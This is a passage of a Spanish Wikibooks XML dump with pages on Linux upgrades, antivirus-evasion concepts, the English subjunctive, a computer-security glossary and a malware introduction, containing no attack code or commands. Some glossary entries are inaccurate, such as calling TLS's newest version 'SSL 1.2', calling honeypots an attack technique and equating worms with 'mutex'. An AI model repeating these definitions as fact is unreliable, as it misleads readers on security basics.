En Linux un Upgrade debe ser realizado con cuidado, pues se corre el riesgo de echar a perder el equipo, ya que algunos Upgrades desactivan los módulos (los encargados de la visión gráfica, impresoras y drivers, seguridad, políticas de los programas...). De igual forma, un upgrade es bueno cuando se deja de mantener una gran cantidad de los programas.

==Firefox==
Uno de los problemas en algunas distros es que tienen Firefox 1.5, hay una opción y es sustituir el la carpeta Firefox por la de 2.0, pero hay riesgo de que no sirva, es mejor conseguir Scripts, además, si se desinstala firefox desde un administrador de aplicaciones avanzado, se corre el riesgo de llevarse también otras utilidades.

{{AutoCat}}</text>
      <sha1>iuwyhzc3u2dt9n9sfl9mixhu8o6yt1c</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Métodos antidetección</title>
    <ns>0</ns>
    <id>15478</id>
    <revision>
      <id>429782</id>
      <parentid>224381</parentid>
      <timestamp>2026-08-01T21:33:44Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429782</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1131" sha1="f3p6yc2cvh70ns8l3svdytw1m7x5bha" xml:space="preserve">Los virus están en constante desarrollo para burlar a los antivirus. Esto se debe diversas causas, como:

*No están detectados en las definiciones

*Han borrado al antivirus o iniciaron antes que este.

*Tecnicas que no conoce el antivirus.


=Detección de Virus=

Un método normal es analizar el virus y copiar una frase que lo reconozca, por decirlo así, se explicaría así:

 &lt;inicia virus &quot;Bla-bla.g&quot;&gt;
 blabla 01154 Af
 &lt;/termina virus Bla-bla.g&gt;

La máquina va a buscar en los archivos esta cadena, pero si desarrollan el Bla-bla.h, bastaría con que dijera Eg y no Af para que no fuera reconocido.

Los virus actuales aprovechan esto para desactivar los antivirus, y una vez hecho esto, la instalación de un antivirus actualizado se dificulta mucho mas.

==Tunnelling==
Casi es lo descrito anteriormente, es el sobrepasado del antivirus.

==Stealth==
Eso era en el MS-dos, se trataba de la encriptación del virus.

==Rootkit==
Es una extraña herramienta que oculta todos los dominios del virus, archivos, registros, todo secretamente, ya hay programas que los borran, pero es lo más usado actualmente.

{{AutoCat}}</text>
      <sha1>f3p6yc2cvh70ns8l3svdytw1m7x5bha</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Gramática/Subjuntivo</title>
    <ns>0</ns>
    <id>15798</id>
    <revision>
      <id>429827</id>
      <parentid>365180</parentid>
      <timestamp>2026-08-01T22:02:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429827</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1392" sha1="8qq31ho2dgrh4izr9tocs999ge48e8w" xml:space="preserve">===Subjuntivo===

*El ''Subjuntivo'' indica que una acción se concibe como subordinada a otra y que por consiguiente resulta ''dudosa'' en sí misma.
*El subjuntivo representa a la acción como bajo una condición o suposición; incluso puede indicar un deseo dudoso o supeditado a otra cosa... Por eso el subjuntivo ha de unirse a otro verbo, para completar su significado, mediante determinadas conjunciones, expresadas o sobreentendidas. Estas conjunciones son:

*'''if''' (si...)
*'''whether''' (si...)
*'''that''' (que)
*'''lest''' (para que no..., no sea que...)
*'''unless''' (a menos que...)


*Ejemplos:

*'''If I come, I shall see you''' (Si vengo, te veré).
*'''We would answer if we could''' (Contestaríamos si pudiéramos).
*'''I would be pleased if you come''' (Yo estaría complacido si vinieras).
*'''If I were you I would go home inmediatlly''' (Si yo fuera usted, me iría a casa inmediatamente).
*'''Will you help me if I need you?''' (¿Me ayudaras si té necesito?).
*'''Would you help me if I need you?''' (¿Me ayudarías si té necesitara?).
*'''If it rained I would stay home''' (Si lloviera me quedaría en casa).

*Vea la diferencia entre :
*'''I will help you if I can''' (Te ayudaré si puedo).
*y el mismo ejemplo en subjuntivo y condicional.
*'''I would help you if I could''' (Te ayudaría si pudiera).


[[Categoría:Inglés|{{SUBPAGENAME}}]]

{{AutoCat}}</text>
      <sha1>8qq31ho2dgrh4izr9tocs999ge48e8w</sha1>
    </revision>
    <revision>
      <id>429918</id>
      <parentid>429827</parentid>
      <timestamp>2026-08-01T22:09:15Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429918</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1352" sha1="ivh0jle61f3y4im0de3ryafbppjtjj0" xml:space="preserve">===Subjuntivo===

*El ''Subjuntivo'' indica que una acción se concibe como subordinada a otra y que por consiguiente resulta ''dudosa'' en sí misma.
*El subjuntivo representa a la acción como bajo una condición o suposición; incluso puede indicar un deseo dudoso o supeditado a otra cosa... Por eso el subjuntivo ha de unirse a otro verbo, para completar su significado, mediante determinadas conjunciones, expresadas o sobreentendidas. Estas conjunciones son:

*'''if''' (si...)
*'''whether''' (si...)
*'''that''' (que)
*'''lest''' (para que no..., no sea que...)
*'''unless''' (a menos que...)


*Ejemplos:

*'''If I come, I shall see you''' (Si vengo, te veré).
*'''We would answer if we could''' (Contestaríamos si pudiéramos).
*'''I would be pleased if you come''' (Yo estaría complacido si vinieras).
*'''If I were you I would go home inmediatlly''' (Si yo fuera usted, me iría a casa inmediatamente).
*'''Will you help me if I need you?''' (¿Me ayudaras si té necesito?).
*'''Would you help me if I need you?''' (¿Me ayudarías si té necesitara?).
*'''If it rained I would stay home''' (Si lloviera me quedaría en casa).

*Vea la diferencia entre :
*'''I will help you if I can''' (Te ayudaré si puedo).
*y el mismo ejemplo en subjuntivo y condicional.
*'''I would help you if I could''' (Te ayudaría si pudiera).


{{AutoCat}}</text>
      <sha1>ivh0jle61f3y4im0de3ryafbppjtjj0</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Terminología</title>
    <ns>0</ns>
    <id>15812</id>
    <revision>
      <id>429766</id>
      <parentid>350631</parentid>
      <timestamp>2026-08-01T21:32:05Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429766</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="29351" sha1="aksp2p0mw02x0rpn5qzcpwd6z1kd5ae" xml:space="preserve">==El por qué de esta sección==
La creación de esta sección obedece a ayudarle a familiarizarse con algunos términos (en su mayoría  anglicismos)  que han surgido con el pasar del tiempo para referirse a los problemas de seguridad.

No se sienta extrañado, ya que la mayoría de estos términos por lo menos usted y yo los hemos escuchado alguna vez (como el caso de virus informáticos o spyware ).

En esta sección usted se familiarizará con algunos de los términos utilizados en la seguridad informática.

==Términos==

===Access Control List (ACL)===
Son los privilegios y limitaciones de un objeto, para establecer qué tipo de usuarios tienen un determinado tipo de acceso al objeto.

===Adware===
La palabra Adware proviene del inglés '''''Ad'''vertistement Soft'''ware''''' traducido como &quot;Sofware publicitario&quot;. A diferencia de otros malwares, el adware se centra en mostrar reiteradas veces y sin el consentimiento del usuario publicidades de todo tipo; si bien es más molesto que peligroso, los anuncios que contienen pueden efectuar descargas de otro malwares más dañinos como virus o gusanos. A veces, algunas empresas proponen versiones &quot;Free&quot; o gratuitas de sus productos pero con la disconformidad de venir con publicidad incluida pidiendo a cambio dinero para obtener versiones sin esta propaganda.

===AES===
Advanced Encryption Standard (AES). Es un algoritmo de criptografía simétrica, también conocido como Rijndael. Se transformó en un estándar el 26 de mayo de 2002. Desde 2006, el AES es uno de los algoritmos más populares usados en criptografía simétrica. Desarrollado por los criptólogos belgas, Joan Daemen y Vincent Rijmen, estudiantes de la ''Katholieke Universiteit Leuven'', y enviado al proceso de selección AES bajo el nombre &quot;Rijndael&quot;, para sustituir al algoritmo DES. Las claves AES son de 128, 192 o 256 bits.

===Almacén de Certificados===
Es un archivo o directorio donde se almacenan los certificados digitales. El estándar PKCS#7 establece lineamientos para los almacenes de certificados.

===Amenaza===
Cualquier evento que ponga en riesgo la seguridad o daños a un sistema

===Anti-spam===
Es una serie de técnicas y heramientas usadas para disminuir el spam (o correo no deseado), antes de que se convierta en una molestia para los usuarios.

===Antivirus===
Es un software de seguridad que protege a un equipo de virus, su funcionamiento de detección es normalmente en tiempo real y mediante análisis paulatinos del sistema, que al identificar algún archivo dañino lo pone en cuarentena. El antivirus es parte fundamental de una estrategia de seguridad.

===Aplicaciones engañosas===
Son programas que intentan obtener información confidencial de usuarios (cómo su nombre completo y número telefónico), con el fin de acceder a algún privilegio (como un supuesto acceso a un recurso).

===Ataque activo===
Son los ataques donde se altera información, o se toma el control de una cuenta.

===Ataque pasivo===
Son los ataques cuyo propósito es sólo la interceptación de la información.

===Ataques Web (CNA Computer Network Attack)===
Es cualquier ataque informático que se realiza desde el internet.

===Autenticación===
Es el proceso para acreditar o verificar que un usuario o mecanismo es quien afirma ser, cuando intenta acceder a un equipo o servicio en línea.

===Backdoor (Puerta trasera)===
Son o líneas de código implantadas en programas de sistemas operativos o en aplicaciones, de importancia o no, o vulnerabilidades conocidas de antemano en una cierta tecnología, que no son corregidas intencionalmente. Un backdoor tiene el propósito de poder romper la seguridad de un equipo o una red.

===Back Hack===
Back Hack es un concepto del cómputo forense. Es el proceso de identificar ataques a un sistema y, si es posible, identificar el origen de los ataques. Un cierto tipo de ataque deja un cierto tipo de rastros, y el Back hacking puede ser pensado como una especie de ingeniería inversa de los esfuerzos de hacking.

===Blowfish===
Es un algoritmo criptográfico simétrico, con una clave variable y una función Feistel para cifrar y descifrar la información. Tiene la particularidad de poder encriptar con tamaños de llaves grandes, como 1024 bits.

===Bluejacking===
Bluejacking permite a una persona enviar mensajes anónimos a dispositivos con bluetooth dentro de cierto radio.

===Bluesnarfing===
Bluesnarfing es la penetración de un dispositivo Bluetooth que se encuentra en modo detectable, logrando el control del dispositivo infectado.

===Botnet===
Un botnet es un conjunto de hosts infectados por bots, que son controlados por un tipo un malware, normalmente sin el conocimiento del usuario. Pueden gobernarse a partir de un canal de comando y control (C&amp;C) o a través de una conexión  peer-to-peer (P2P).

===Canal de control y comando===
Es el medio por el cual un atacante de malware se comunica y controla los equipos que infectó, típicamente mediante botnets. 

===Carding===
Es un tipo de cibercrimen, dirigido al compromiso de tarjetas bancarias.

===Carga destructiva===
Es la actividad dañina de un malware o crimeware. Por ejemplo, el ransomware es un tipo de crimeware, cuya carga destructiva es la encriptación de archivos de datos de una computadora atacada, para extorsionar a los usuarios afectados.

===Certificado SSL Standard===
Un certificado SSL, en general, permite autenticar digitalmente la identidad de un servidor. Contiene, entre otros datos, la información de la empresa o persona propietaria, número de serie del certificado, fecha de expedición y fecha de expiración, información de la entidad que lo certifica (Certification Authority), así como detalles para lo que se va a utilizar.  El certificado SSL Standard es el más utilizado y ampara un solo nombre de dominio, por ejemplo: dominio.com. Cuando un navegador lo reconoce, cambia automáticamente al protocolo HTTPS. Los detalles de cada certificado pueden consultarse en el ícono de candado que se encuentra junto al URL.

===Certificado SSL Wildcard===
Un Certificado SSL Wildcard es similar al standard, sin embargo, este tipo de certificados permite asegurar subdominios, es decir, que además de asegurar el nombre del dominio también lo hace para los subdominios asociados a el, por ejemplo: mail.dominio.com, ftp.dominio.com. Por lo general, este certificado es ilimitado para la cantidad de subdominios, ya que permite certificar utilizando comodines (de ahí su nombre), ejemplo: *.dominio.com

===Cibercrimen===
Son aquellos ataques computacionales tipificados como delitos por el código penal.

===Ciberterrorista===
Es una categoría de cibercrimen, donde el programa tiene el propósito fundamental de lanzar un ataque de terror, por ejemplo, atacando una infraestructura pública.

===Clickjacking (UI redress attack)===
Es un tipo de aplicación engañosa, que utiliza los clicks de un usuario, donde se ejecutan capas ocultas de código en una página o descarga aparentemente válida.

===Computación forense===
Es la disciplina de seguridad computacional responsable de documentar la evidencia de que en cierto equipo de cómputo se cometió un cibercrimen.

===Confidencialidad===
Es la garantía de que la información sólo debe ser conocida por quienes tengan derecho a ella. Es uno de los requerimientos de la seguridad informática.

===Cookie Poisoning===
El envenenamiento de Cookies es la modificación no autorizada de los datos de una cookie, como parte de algún ataque.

===Cracker===
El cracker es la persona que logra evadir o romper la seguridad de un software u otro artefacto tecnológico, bien sea para obtener ganancias, o simplemente por desafío intelectual o boicot.

===Crasher===
Es la persona que realiza un ataque con el propósito de suspender la ejecución de un sistema, normalmente como un boicot contra una organización.

===Crimeware===
Es un software diseñado para facilitar la comisión de algún tipo de cibercrimen.

===Criptografía===
Se encarga de las técnicas de cifrado, con el objetivo de modificar mensajes para hacerlos ocultos. Toda criptografía involucra una clave, un algoritmo y un texto en claro, y produce un criptograma, o parte de un criptograma para recuperar el texto en claro.
Existen dos tipos de criptografía:
Simétrica: se encripta y desencripta con la misma llave.
Asimétrica: se encripta con una llave y desencripta con otra llave.

===Criptograma===
Es una archivo encriptado.

===Criptolibertario (cipherpunk)===
Es un tipo de hacktivista que parte de la premisa de que los gobiernos y corporaciones violan sistemáticamente la privacidad de las personas, y en consecuencia busca que todos los paquetes del internet viajen encriptados con criptografía robusta. 

===Criptología===
Es la Ciencia que se encarga de proporcionar seguridad a la información por medio del ocultamiento de los datos. Se compone de la criptografía, el criptoanálisis, la criptocomputación y las criptomatemáticas.

===Cross-site scripting (XSS)===
Vulnerabilidad de seguridad de aplicaciones web, en el cual se permite inyectar código malicioso, bien sea en JScript, VBScript o PHP.

===Cruncher===
Es un tipo de hacktivista que dona ciclos de reloj de sus equipos de cómputo, cuando dichos equipos están desocupados, para participar en proyectos científicos, por ejemplo, para realizar diseño de drogas asistido por computadora para enfermedades raras o ignoradas. Los cruncher se agrupan fundamentalmente alrededor de la plataforma BOINC (Berkeley Open Infrastructure for Network Computing).

===Cyber Pearl Harbor===
Cyber Pearl Harbor es un escenario hipotético de un ataque cibernético que amenace la infraestructura de TI de los Estados Unidos, posiblemente en el contexto de una guerra o de un ataque terrorista.

===Deep Web/Dark Web===
La deep weeb/dark web (la web oscura), se compone de sitios que no son accesibles por los navegadores usados en Internet, y que en su mayoría tampoco son identificados por buscadores como google. El uso de la deep web desde entornos inseguros (con sistemas operativos inseguros, con aplicaciones provistas de puertas traseras, o con passwords vulnerables), hace factible el ataque o la persecución de usuarios de la deep web. La deep web es una red diseñada para garantizar el anonimato, accesible desde el navegador Tor y con sus propios recursos de búsqueda (como Hidden Wiki). En la deep web coexisten dos grandes tipos de usuarios: por un lado los luchadores sociales, el periodismo independiente y hackers (el servidor de wikileaks está en la deep web), y por otro lado la deep web se presta para el crimen organizado, el mercado negro, la trata de personas y la pornografía infantil.

===Defacement===
Defacement es la forma de vandalismo en que los '''defacers''' marcan un sitio web. Hay sitios donde los defacers exhiben sus logros.

===DES (Data Encryption Standard)===
Es un algoritmo criptográfico simétrico, para cifrar y descifrar información, desarrollado a partir del algoritmo Lucifer de IBM, con bloques de 8 bytes y clave de 64 bits. Ya no es seguro. Evolucionó en el algoritmo triple DES (o DES-EDE).

===Descarga inadvertida===
Es uno de los mecanismos de propagación del malware, consistente en lograr la descarga de un malware sin intervención del usuario.

===Eavesdropping===
Término usado para identificar a la práctica de interceptar, registrar y almacenar comunicaciones ajenas, para procesarlas, escucharlas o leerlas. La práctica masiva del eavesdropping es realizada por agencias de inteligencia de múltiples gobiernos. Es un ataque gubernamental al derecho de privacidad de las personas. Las principales formas de combatir este ataque es lograr que todas las comunicaciones viajen encriptadas con criptografía robusta, que las personas usen entornos de hardware y software libres de backdoors, y que los usuarios utilicen passwords que resistan ataques.

===ElGamal===
Es un algoritmo asimétrico basado en el problema del algoritmo discreto, que es utilizado para trabajar con firmas digitales.

===Encriptación===
Es un mecanismo de seguridad para codificar cierta información, en la cual sólo aquellos usuarios que tiene un acceso o una clave, pueden descifrar o utilizar los datos.

===Esteganografía===
Es una técnica que se utiliza para ocultar información secreta en archivos de extensiones ampliamente usadas, como .jpg o .pdf, sin que se perciba su existencia, y permitiendo que el archivo se pueda abrir normalmente. Su principal uso es ocultar criptogramas.

===Exploit===
Traducido al español como &quot;Explotar&quot; o &quot;Aprovechar&quot;, es un programa informático, o incluso sólo un fragmento ejecutable, que se utiliza a partir de una vulnerabilidad de seguridad de un sistema, para conseguir que éste tenga un comportamiento no deseado.

===Filtración de datos===
Es la difusión pública de información comprometida en un ataque.

===Firewall===
Es un sistema que proporciona seguridad de red, mediante el filtrado del tráfico entrante a una red o saliente de la misma. Por ejemplo, es común que el badware envía información desde una máquina infectada. El firewall intercepta ese envío de información y le pregunta al usuario si está de acuerdo.

===Firma Digital===
Es una técnica para validar el origen de una información. Por ejemplo, con algunos algoritmos asimétricos, el origen del mensaje lo firma utilizando su llave privada, y el destinatario del mensaje puede validar dicha firma utilizando la llave pública del origen.

===Framework(Mecanismo)===
Conjunto de patrones que soluciona una problemática. Cabe mencionar que un patrón es una buena solución a un problema, por ende un anti-patrón son las malas soluciones. El framework más usado en seguridad involucra criptografía simétrica y asimétrica, firma digital y certificados digitales, tecnologías que se usan para garantizar las problemáticas de la autenticación, confidencialidad, integridad y no repudiación.

===Gusanos o mutex===
A diferencia de los virus, estos son aplicaciones que se copian a la '''PC''' y ralentizan (hacen más lento) su funcionamiento. Los gusanos pueden bloquear aplicaciones, o buscar más víctimas. La infección de un gusano puede provenir de un correo electrónico tipo '''&quot;spam&quot;''', o se pueden descargar de un sitio web.

Los gusanos tienen la característica de poder autoreplicarse en un mismo ordenador, por ejemplo, aquellos que se copian en cada carpeta, y se abren con cada carpeta. Algunos no desean eso y generan una regla que indica que solo una copia por equipo se debe ejecutar, que es un '''MUTEX''' lo cual les da también este nombre.

===Hash===
Es una función para transformar un dato en un entero de longitud fija, en seguridad se utiliza para comprobar la integridad de la información. Algunos algoritmos hash utilizados en seguridad son el SHA-1, el SHA-2 y el MD5.

===Hijacking===
El hijacking es una metodología ilegal para apoderarse de una posesión digital. Incluye robo de información, de dominios de internet, de conexiones de red y de sesiones de terminal, entre otras.

===Hoax o bulo===
Bulo es chisme, engaño, mentira, Hoax también. Son correos electrónicos que dicen &quot;Reenvía esto! un virus genéticamente modificado infecta máquinas!!!!&quot; o el clásico &quot;A partir del verano del &lt;inserte año&gt; el messenger será de pago a menos de que &lt;inserte algo que hay que hacer en una pagina&gt;!!!&quot;

===Honeypot (Trampa o tarro de miel)===
Es una técnica que forma parte de múltiples ataques. Consiste en ofrecer algo que se piensa es irresistible para el objetivo del ataque, con el propósito de ganar su confianza o penetrar la seguridad.

===HTTPS (Hyper Text Transfer Protocol Secure)===
Es la versión segura del protocolo HTTP, que sirve para el envío y recepción de información a través de Internet. El protocolo HTTPS utiliza el puerto 443 mientras que HTTP usa el 80. La información en HTTPS viaja encriptada, pasando a través de un túnel seguro con conexión SSL/TLS desde el emisor hasta el receptor y viceversa, evitando que pueda ser leída por terceros.

===IMSI catcher===
Son grandes instalaciones, mimetizadas como torres de telefonía celular, para realizar eavesdropping de gran escala.

===Infección===
Este término hace referencia al equivalente biológico de la palabra infección. Sucede cuando un malware se ejecuta libremente en la computadora por primera vez, sin importar de que tipo de malware sea.

===Ingeniería Social===
Se refiere a una manera de engañar y/o manipular a las personas y su comportamiento, con la finalidad de obtener información sobre su acceso/credenciales/contraseñas. Se puede llegar a influir tanto en una persona, que se puede lograr que actúen de alguna manera en específico o divulguen cierta información privada.

===Insider Attack===
Evento donde un individuo miembro de una organización lanza un ataque contra esa organización. Pueden ser ataques devastadores. Por ejemplo, el whistleblower Edward Snowden, agente de la NSA, lanzó un poderosísimo ataque contra dicha organización. Otro ejemplo fue Mark Felt (''Deep Throat''), subdirector adjunto del FBI, quien proporcionó documentos a periodistas del Washington Post, detonando el escándalo Watergate y la renuncia de Nixon.

===Integridad===
Es la garantía de que la información no ha sido alterada sin autorización. Es uno de los requerimientos de la seguridad informática.

===Involuciones===
Son transformaciones reversibles por medio de las cuales se realiza la criptografía simétrica. Son o sustituciones (reemplazar un carácter o un conjunto de bits por otros), o transposiciones (cambiar el orden de caracteres o de conjuntos de bits).

===Key Log===
&quot;Registro de teclas&quot;, son programas que registran todo lo que uno teclea, la información obtenida se puede guardar o enviar inmediatamente, suponen un peligro al poder registrar contraseñas, direcciones de correo electrónico y páginas.

===Llaves pública y privada = Public and private key===
Cada par de llaves criptográficas pública y privada están relacionadas entre sí. La información encriptada con la llave pública solo puede ser desencriptada por la llave privada, creando así un par de llaves únicas que permiten de forma segura el intercambio de información. El secreto de esta criptografía se basa en que la llave privada sólo la debe conocer su propietario.

===MacAddress ===
Es una número de 48 bits, que funciona como identificador único de un dispositivo o tarjeta de red.

===Malware===
Es la contracción de dos palabras: '''''Mal'''icious Soft'''ware''''' (traducido al español como software malicioso). Se utiliza para referirse a todo software que cause daños a los usuarios, como pérdida de datos, robo de contraseñas, etcétera. Es un término más abarcativo que virus.

===Man in the middle===
Se refiere a cualquier interceptación de información, bien sea con fines de ''eavesdropping'' o para realizar un ataque activo.

===Mule phisher===
Es un participante del ciberdelito del phishing, quien permite que se realice un depósito a una cuenta bancaria a su nombre, retira la mayor parte del depósito (menos su comisión), y transfiere la cantidad retirada a alguna cuenta no rastreable (normalmente en bitcoins). Suelen ser los participantes de este ciberdelito que son detenidos y encarcelados.

===No repudiación===
Garantiza la imposibilidad de que alguna de las partes involucradas en una comunicación o transacción niegue haber enviado o recibido un mensaje u originado o haber sido el destinatario de una acción. La no repudiación permite el comercio electrónico. Es uno de los requerimientos de la seguridad informática.

===NSA===
La National Security Agency, es la organización de seguridad nacional del gobierno de los Estados Unidos. Es un hecho que la NSA intercepta gran parte de las comunicaciones del planeta. Otros organismos de seguridad nacional de otros gobiernos también interceptan comunicaciones, pero sus capacidades no se comparan con las de la NSA. La NSA trabaja conjuntamente con las organizaciones de seguridad nacional de Gran Bretaña, Canadá, Australia y Nueva Zelanda en el espionaje a las comunicaciones del planeta.

===Onion routing===
Es un sistema de comunicación que tiene como objetivo realizar una conexión sin perder la privacidad de ésta, ni de sus involucrados. Es una tecnología de la deep web.

===Phreakers===
Individuos que utilizan ilegalmente las redes de telefonía para hacer llamadas o usar servicios telefónicos de manera gratuita.

===Piggybacking===
Es la conexión no autorizada a una red inalámbrica.

===PKI (Infraestructura de llave pública = Public Key Infrastructure)===
Se trata de una tecnología principalmente utilizada en empresas y aplicaciones de comercio electrónico/e-business, que permite crear un ambiente seguro y confiable para el intercambio de información y comercio electrónico entre redes no seguras, como Internet. Combina software, criptografía y políticas de seguridad que permiten autenticar la identidad de los usuarios a través de un par de llaves criptográficas: una pública y otra privada.

===Privacy-enhancing technologies===
Es un término estandarizado con el que se refiere a métodos específicos que regularizan la información conforme a las leyes de la protección de información.

===Protocolo Criptográfico===
Es una secuencia de pasos donde se utiliza uno o más algoritmos criptográficos, para asegurar los requisitos de seguridad y llevar a cabo el intercambio de datos cumpliendo, por ejemplo, con la confidencialidad, integridad, o no repudiación.

===Proxy Server (Servidor Proxy)===
Es una aplicación que funciona como un representante de un cliente con otro servidor, de manera que los servidores externos sólo negocian con el servidor proxy, y no con la computadora del cliente. Esto introduce una capa de seguridad y de ocultamiento de la identidad del cliente.

===Ransomware===
Es una categoría del cibercrimen que encripta los archivos con datos de un equipo (normalmente con criptografía AES de 128 bits), extorsionando al usuario para que pague un rescate (normalmente realizando un depósito a una cuenta de bitcoin). Si el usuario no paga el rescate en un tiempo perenterio, los datos son destruidos definitivamente. Y si el usuario paga el rescate puede recibir (o no) la llave con la que puede desencriptar sus archivos personales.

===Redes punto a punto (P2P)===
Es una red donde los participantes comparten información sin necesidad de concentrar esa información en servidores. Sin embargo, también están expuestas a virus, spyware, troyanos, etcétera.

===Retrovirus===
Es un tipo de virus que detectan los antivirus e intentan ocultarse de ellos.

===Reverse Proxy===
Es una aplicación instalada en el servidor web, que funciona como una capa de seguridad para detener algunos ataques, en particular DoS.

===RFID===
De las siglas Radio Frequency IDentification, (identificación por radiofrecuencia), es una tecnología de etiquetado donde se trasmiten frecuencias de radio desde un lector RFID a una etiqueta RFID, con el fin de identificar objetos. Hay varias diferencias de las etiquetas de código de barras con las etiquetas RFID: mientras que los códigos de barras tienen el mismo código para un sólo tipo de producto, una etiqueta RFID tiene un código único para cada etiqueta, otra diferencia es que las etiquetas RFID pueden ser leídas de forma remota, una tercera diferencia es que una etiqueta RFID puede estar empotrada en otro material, y pasar desapercibida. Hay muchos tipos de etiquetas RFID. Algunas pueden ser desactivadas, mientras que otras no ofrecen esa opción. Desde la perspectiva de la seguridad, la tecnología RFID involucra un riesgo, ya que una etiqueta RFID activa puede ser usada como parte de un ataque.

===Root Kit===
Se trata de programas que ocultan todo proceso que un ''cracker'' considere como vital para mantenerse oculto (por eso algunos lo denominan en español ''Encubridores'' ya que evitan que se detecten los malwares). Actúan ya sea en '''Linux''' o '''Windows'''. También es un programa que permite un acceso privilegiado a un sistema de manera continua. Los root kit no son sencillos de eliminar.

===RSA (Rivest, Shamir y Adleman)===
Es el algoritmo asimétrico más utilizado. Su funcionamiento se basa en el producto de dos números primos grandes.

===Seguridad de Operaciones===
Procesos y controles que tienen como fin garantizar prácticas seguras en los usuarios de una organización.

===Sistema de detección de intrusos===
Servicio que monitorea y analiza los eventos del sistema, con el fin de  encontrar y proporcionar en el momento, advertencias de intentos de acceso a los recursos del sistema de manera no autorizada.

===Sistema de prevención de intrusos=== 
Son sistemas que nos ayudan con la supervisión de actividades, tanto en sistemas, como en redes. Estos sistemas monitorean en tiempo real los comportamientos de los usuarios, buscando patrones de actividades que sean sintomáticos de un ataque en proceso, para alertar a los responsables de la operación de los sistemas, y proceder, una vez confirmado el ataque, a tomar acciones para documentarlo, abortarlo y revertirlo.

===Sistemas afectados===
Se refiere a la lista de sistemas operativos o aplicaciones, que tienen una determinada vulnerabilidad.

===Sniffer===
Es la interceptación y análisis de paquetes de una red. Una solución al problema del sniffing es que los paquetes viajen encriptados, con lo que la única información que se puede obtener de ellos es su origen y destino.

===Spambot===
Es un botnet usado para enviar spam. El programa intenta hacerse pasar por una persona real, para enviar correos, ligas, o solicitudes engañosas.

===Spoofing (Falsificación)===
Ataque informático que suplanta la identidad de alguna entidad computacional, alterando los datos de una comunicación, como la dirección IP o la mac address.

===Spyware===
Al igual que malware es una contracción de dos palabras, en este caso de '''''Spy''' Soft'''ware''''', (traducido como Software espía); y como su nombre lo indica, a diferencia de otros malwares, su función principal, más que causar daños a la información de un equipo, se centra en enviar información privada del usuario al creador del spyware.

===SSL (Secure Socket Layer)===
Desarrollado en 1995 por Netscape Corporation, es una tecnología estándar de seguridad global que permite establecer conexiones encriptadas de forma segura para el intercambio de información entre servidores y clientes en Internet o una Intranet. Clientes y servidores pueden autenticarse mutuamente usando Certificados SSL, utilizando pares de llaves públicas y privadas. En Abril de 2017 la última versión era SSL 3.0.

===Tactical Data (Datos tácticos)===
Información que se debe de mantener protegida por un período limitado de tiempo.

===TLS (Transport Layer Security)===
Es el sucesor de SSL, pero se utiliza mayormente en correo electrónico, utilizando algoritmos de encriptación mas fuertes. En Abril de 2017, la versión más reciente era SSL 1.2.

===Toolkit===
Programas de software que ayudan a los hackers, crackers o cibercriminales a crear y propagar códigos maliciosos. También pueden utilizarse para lanzar ataques web, enviar spam y crear sitios de phishing.

===Traffic Encryption Key (TEK)===
Es una llave simétrica utilizada para encriptar el tráfico de una red. Se cambia frecuentemente.

===Troyanos===
Un &quot;Troyano&quot; o &quot;Caballo de Troya&quot; es un malware que se instala en un sistema bajo la apariencia de un programa valioso para el usuario que lo descargó. El programa puede hacer lo encomendado -o no-, pero adicionalmente realiza una infección en el entorno donde se ejecutó. Los troyanos toman su nombre del hecho mitológico en el que los espartanos dan a la ciudad de Troya como regalo un gran &quot;caballo de madera&quot;. el cual contenía en su interior guerreros espartanos preparados para atacar. 

===Tunneling protocol===
Es un protocolo de redes utilizado en VPNs, para facilitar la encriptación de los paquetes de la red.

===Variantes===
Son nuevas cepas de malware que toman códigos de otros programas conocidos. Casi siempre se identifican con una letra, seguido del apellido del malware. por ejemplo, P33.Downadup.C.

===Vector de ataque===
Es la descripción pormenorizada de los pasos que explotan una vulnerabilidad para consumar un ataque exitoso. 

===Virus===
Son '''&quot;Archivos vitales del sistema bajo acoso&quot;''', y toman su nombre de una analogía con los virus biológicos, ya que se insertan en archivos válidos, y se replican cuando el archivo se ejecuta o se abra. Sus instrucciones son claras: busca otro de tu tipo y cópiame en su contenido. Algunos virus no sólo se replican, sino que pueden dañar la información o el funcionamiento de un equipo.

===VPN (Virtual Private Network -Red Virtual Privada-)===
Es una arquitectura de red P2P, que facilita una cierta confidencialidad y la transmisión de paquetes encriptados. 

===Vulnerabilidad (Vulnerability)===
Una debilidad o falla de un sistema.

===Warez===
Es quien toma un crack (de un software o de un archivo multimedia) y lo hace público.

{{AutoCat}}</text>
      <sha1>aksp2p0mw02x0rpn5qzcpwd6z1kd5ae</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Tecnología y el malware</title>
    <ns>0</ns>
    <id>15984</id>
    <revision>
      <id>429767</id>
      <parentid>366931</parentid>
      <timestamp>2026-08-01T21:32:13Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429767</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2355" sha1="55hcahmbnpavd35glg30tn7y8brgd1j" xml:space="preserve">=Introducción=
Con el avance de las comunicaciones y tecnologías, también se avanza con la inseguridad.

Por ejemplo: para [[w:PlayStation Portable|PlayStation Portable]] existe un virus que borra su memoria flash (persistente), los teléfonos infectan centenares de gentes, un gusano se expande por las memorias usb... todas estas historias tienen algo en común: La tecnología.

